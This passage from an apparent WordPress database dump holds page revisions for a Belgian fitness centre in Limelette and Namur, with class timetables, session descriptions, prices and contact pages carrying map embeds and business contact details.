class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-04 17:41:06', '2013-11-04 17:41:06', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(380, 1, '2013-11-04 17:41:46', '2013-11-04 17:41:46', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-04 17:41:46', '2013-11-04 17:41:46', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(381, 1, '2013-11-04 17:42:21', '2013-11-04 17:42:21', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2013-11-04 17:42:21', '2013-11-04 17:42:21', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(385, 1, '2013-11-04 17:48:51', '2013-11-04 17:48:51', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Club Justine Henin\r\nAvenue Léon Fournet, 20\r\n1342 Limelette&lt;/address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez, 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;&lt;/h1&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-11-04 17:48:51', '2013-11-04 17:48:51', '', 9, 'http://www.crosstrainingcenter.be/9-revision-v1/', 0, 'revision', '', 0),
(382, 1, '2013-11-04 17:45:12', '2013-11-04 17:45:12', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Club Justine Henin\r\nAvenue Léon Fournet, 20\r\n1342 Limelette&lt;/address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;address&gt;Bowling et Squash de Namur\r\nChaussée de Perwez, 251\r\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;div id=\&quot;rdv\&quot;&gt;&lt;/div&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;&lt;/h1&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-11-04 17:45:12', '2013-11-04 17:45:12', '', 9, 'http://www.crosstrainingcenter.be/9-revision-v1/', 0, 'revision', '', 0);
